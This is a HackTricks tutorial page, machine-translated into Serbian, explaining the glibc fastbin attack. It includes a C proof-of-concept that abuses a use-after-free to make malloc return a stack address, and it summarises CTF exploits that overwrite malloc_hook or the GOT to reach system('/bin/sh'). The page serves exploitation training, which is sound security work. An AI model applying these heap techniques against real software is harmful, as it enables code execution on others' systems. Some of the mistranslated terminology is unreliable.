hacktricks/binary-exploitation/heap/fast-bin-attack.md

11 KiB

Brza Binarna Napad

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne Informacije

Za više informacija o tome šta je brza binarna provera posetite ovu stranicu:

{% content-ref url="bins-and-memory-allocations.md" %} bins-and-memory-allocations.md {% endcontent-ref %}

Zbog toga što je brza binarna jednostruko povezana, postoji mnogo manje zaštite nego u drugim binarnim proverama i samo modifikovanje adrese u oslobođenom brzom binu isecku je dovoljno da biste mogli dodeliti kasnije isečak na bilo kojoj memorijskoj adresi.

Kao rezime:

{% code overflow="wrap" %}

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

{% endcode %}

Možete pronaći potpuni primer u veoma dobro objašnjenom kodu na https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

{% hint style="danger" %} Ako je moguće prebrisati vrednost globalne promenljive global_max_fast velikim brojem, to omogućava generisanje brzih binova većih veličina, potencijalno omogućavajući izvođenje brzih bin napada u scenarijima gde to prethodno nije bilo moguće. {% endhint %}

Primeri

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • Moguće je alocirati delove, osloboditi ih, pročitati njihov sadržaj i popuniti ih (sa ranjivošću prelivanja).
  • Konsolidacija dela radi curenja informacija: Tehnika se uglavnom zloupotrebljava prelivanjem kako bi se napravila lažna prev_size vrednost tako da se jedan prethodni deo stavi unutar većeg dela, pa kada se alocira veći deo koji sadrži još jedan deo, moguće je ispisati njegove podatke i procuriti adresu do libc-a (main_arena+88).
  • Prepisivanje malloc kuke: Za ovo, i zloupotrebljavajući prethodnu situaciju preklapanja, bilo je moguće imati 2 dela koja su pokazivala na istu memoriju. Stoga, oslobađajući ih oboje (oslobađajući još jedan deo između da bi se izbegle zaštite), bilo je moguće imati isti deo u brzom binu 2 puta. Zatim, bilo je moguće ponovo ga alocirati, prepisati adresu sledećeg dela da pokazuje malo pre malloc_hook-a (tako da pokazuje na ceo broj koji malloc smatra slobodnom veličinom - još jedan zaobilazak), alocirati ga ponovo, a zatim alocirati još jedan deo koji će primiti adresu do malloc kuka.
    Na kraju je jedan alat napisan tamo.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • Postoji prelivanje hipa i korisnik nakon oslobađanja i duplo oslobađanje jer kada se deo oslobodi moguće je ponovo koristiti i ponovo osloboditi pokazivače
  • Libc curenje informacija: Samo oslobodite neke delove i dobićete pokazivač do dela glavne arene lokacije. Kako možete ponovo koristiti oslobođene pokazivače, samo pročitajte ovu adresu.
  • Napad brzog bina: Svi pokazivači na alokacije čuvaju se unutar niza, pa možemo osloboditi par brzih bin delova i u poslednjem prepisati adresu da pokazuje malo pre ovog niza pokazivača. Zatim, alocirajte par delova iste veličine i prvo ćemo dobiti legitimni deo, a zatim lažni deo koji sadrži niz pokazivača. Sada možemo prepisati ove pokazivače alokacije da pokazuju na adresu free da pokazuju na sistem, a zatim napisati deo 1 "/bin/sh" da zatim oslobodite(deo1) što će izvršiti system("/bin/sh").
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • Još jedan primer zloupotrebe prelivanja od 1B za konsolidaciju delova u nesortiranom binu i dobijanje libc curenja informacija, a zatim izvođenje napada brzog bina za prepisivanje malloc kuke sa adresom jednog alata
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • Nakon curenja informacija zloupotrebom nesortiranog bina sa UAF-om da bi procurila adresa libc-a i adresa PIE-a, eksploatacija ovog CTF-a koristila je napad brzog bina da alocira deo na mestu gde su se nalazili pokazivači ka kontrolisanim delovima tako da je bilo moguće prepisati određene pokazivače da bi se napisao jedan alat u GOT-u
  • Možete pronaći napad brzog bina zloupotrebljen kroz napad nesortiranog bina:
  • Imajte na umu da je uobičajeno pre izvođenja napada brzog bina zloupotrebiti listu neželjenih da bi procurile libc/heap adrese (kada je potrebno).

{% content-ref url="unsorted-bin-attack.md" %} unsorted-bin-attack.md {% endcontent-ref %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: